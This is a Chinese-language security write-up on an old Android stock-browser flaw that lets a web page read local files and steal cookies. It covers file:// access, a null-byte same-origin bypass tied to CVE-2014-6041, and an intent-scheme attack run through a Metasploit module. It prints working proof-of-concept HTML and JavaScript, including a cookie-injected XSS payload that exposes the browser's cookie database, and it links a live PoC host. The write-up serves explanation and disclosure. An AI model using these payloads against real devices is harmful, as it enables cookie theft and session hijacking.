我們接下來要介紹的這個漏洞,其影響了Android版本4.4以下的自帶瀏覽器和一些其他特定的Android瀏覽器,它允許黑客讀取sqlite格式的cookie數(shù)據(jù)庫文件,從而竊取cookie。順著這個問題,我們來談一談Android版本4.4以下的跨站數(shù)據(jù)竊取攻擊。
小科普
Intent Scheme URL攻擊:這種攻擊方式,利用了瀏覽器保護(hù)措施的不足,通過瀏覽器作為橋梁間接實現(xiàn)Intend-Based攻擊。相比于普通Intend-Based攻擊,這種方式極具隱蔽性,而且由于惡意代碼隱藏WebPage中,傳統(tǒng)的特征匹配完全不起作用。除此之外,這種攻擊還能直接訪問瀏覽器自身的組件(無論是公開還是私有)和私有文件,比如cookie文件,進(jìn)而導(dǎo)致用戶機(jī)密信息的泄露。
Intent-based攻擊:這種基于intent的安卓攻擊手法很普遍,輕則導(dǎo)致應(yīng)用程序崩潰,重則可能演變提權(quán)漏洞。
攻擊實驗背景介紹
在我研究Stock瀏覽器的事務(wù)流程標(biāo)準(zhǔn)時發(fā)現(xiàn),如果讓瀏覽器打開新選項卡并且使用file://協(xié)議,就可以通過網(wǎng)頁打開本地文件。當(dāng)然,這的確不算一個漏洞,但是如果它能在讀取本地文件后,然后把該文件的信息發(fā)送到遠(yuǎn)程時,那就完全不同了。而且我留意到,這是個Android下瀏覽器的通殺漏洞,且并不僅限于Chrome、Firefox或者Opera等等。
下面的截圖展示了漏洞被補(bǔ)后,權(quán)限被禁用,想要從菜單欄打開本地文件會發(fā)生的錯誤:
攻擊實驗方案:
為了利用這個漏洞,我們模擬了以下攻擊流程:
1.騙取用戶訪問黑客構(gòu)造的網(wǎng)站
2.黑客在某頁面設(shè)置返回特定頭部內(nèi)容,使得受害者的瀏覽器自行下載exploit.html
3.受害者瀏覽器會主動打開新選項卡,瀏覽exploit.html
4.exploit.html將讀取本地敏感信息文件,反饋給黑客
為了給這次攻擊構(gòu)造一個有效的exp,我同某日本安全研究員Haru Sugiyama討論后,他給了我以下的POC:
http://133.242.134.241/firefox/test.html
當(dāng)你通過Android瀏覽器訪問以上示例頁面時,只要進(jìn)行一些特定操作,其中的惡意腳本就會影響Firefox(文章首段提到的特定的Android瀏覽器實例)或者Android的自帶瀏覽器,下載惡意代碼到/sdcard/Download/exploit.html,當(dāng)然前提是sdcard這個目錄確實存在。瀏覽器會自行在新選項卡里打開剛剛下載的惡意文件exploit.html,然后從其他本地文件里讀取內(nèi)容。實際上,這個攻擊過程并不如我講的這么輕松愉快。在這里我們來做個對比實驗,看看針對Android 2.3.x和Android 4.1.x-4.3進(jìn)行攻擊的結(jié)果區(qū)別。
Android 2.3.x觀察報告
實驗中我們使用了Android 2.3的模擬器,很輕松地就通過惡意文件exploit.html讀取到了其他本地文件的內(nèi)容,這代表該版本系統(tǒng)瀏覽器存在相應(yīng)的漏洞,允許惡意網(wǎng)站繞過Android瀏覽器同源策略,進(jìn)行跨域數(shù)據(jù)竊取。但是,由于Android 2.3.x的使用量大約只占安卓用戶的11.4%,而且正在如winxp一般慢慢地消亡,所以其危害并沒有那么大,Android各版本用戶使用量統(tǒng)計圖如下:
然而Android 4.1.x-4.3雖然并不能直接讀取本地文件,但我們在嘗試了空字節(jié)繞過的小技巧后,發(fā)現(xiàn)收效甚好,POC如下:
<button onclick="exploit()">Read iframe</button>
<button onclick="window.open('u0000javascript:alert(document.body.innerHTML)','test')">
Try u0000
</button>
<iframe src="file:/default.prop" name="test" style='width:100%;height:200'>
</iframe>
<script>
function exploit()
{
var iframe = document.getElementsByTagName('iframe')[0];
try
{
alert("Try to read local file.");
alert("contentWindow:"+iframe.contentWindow);
alert("document:"+iframe.contentWindow.document);
alert("body:"+iframe.contentWindow.document.body);
alert("innerHTML:"+iframe.contentWindow.document.body.innerHTML);
}
catch(e)
{
alert(e);
}
}
</script>
遺憾的是,據(jù)CVE-2014-6041所述,該漏洞已經(jīng)打上補(bǔ)丁,經(jīng)試驗exp失效。
采用Intent scheme URL進(jìn)行攻擊
據(jù)我們以上研究得出的結(jié)論,想通過Android 4.1.x-4.3的瀏覽器進(jìn)行本地文件讀取是不可行的,因為在這一系列版本中,本地文件不能從任意其他文件里讀取內(nèi)容。然而,metasploit團(tuán)隊的Joe Vennix表示,從intent scheme入手就可以輕松地發(fā)起攻擊,附上相應(yīng)文章,以下是文章中的POC:
該攻擊POC的思路是:
受害者保存了包含惡意JS代碼的cookie后,瀏覽器打開儲存該cookie的sqlite數(shù)據(jù)庫文件時,附在cookie里被注入了的惡意JS代碼會自動執(zhí)行,從而竊取數(shù)據(jù)庫文件中存在的其他cookie。基于這個POC,黑客可以嘗試讀取整個webviewCookieChromium.db文件。
<!doctype html>
<html>
<head><meta name="viewport" content="width=device-width, user-scalable=no" /></head>
<body style='width:100%;font-size: 16px;'>
<a href='file:///data/data/com.android.browser/databases/webviewCookiesChromium.db'>
Redirecting… To continue, tap and hold here, then choose "Open in a new tab"
</a>
<script>
document.cookie='x=<img src=x onerror=prompt(document.body.innerHTML)>';
</script>
</body>
</html>
Joe實現(xiàn)了一個Metasploit模塊,可以自動化竊取cookie然后反饋給黑客,即使該數(shù)據(jù)庫文件采用了httponly技術(shù),這種攻擊手段依然是危害巨大的。
Metasploit模塊實現(xiàn)步驟:
下面的截圖讓你明白如何利用該模塊獲取cookie:
第一步:設(shè)置模塊
第二步:竊取cookie
你做完了這步,就可以泡杯咖啡,坐等魚兒上鉤了。
第三步:坐等cookie
補(bǔ)丁相關(guān)信息:
在2014年2月發(fā)布了補(bǔ)丁,其對數(shù)據(jù)庫文件儲存目錄的權(quán)限進(jìn)行了加固,但是因補(bǔ)丁策略限制,它并沒有照顧到大部分廠商。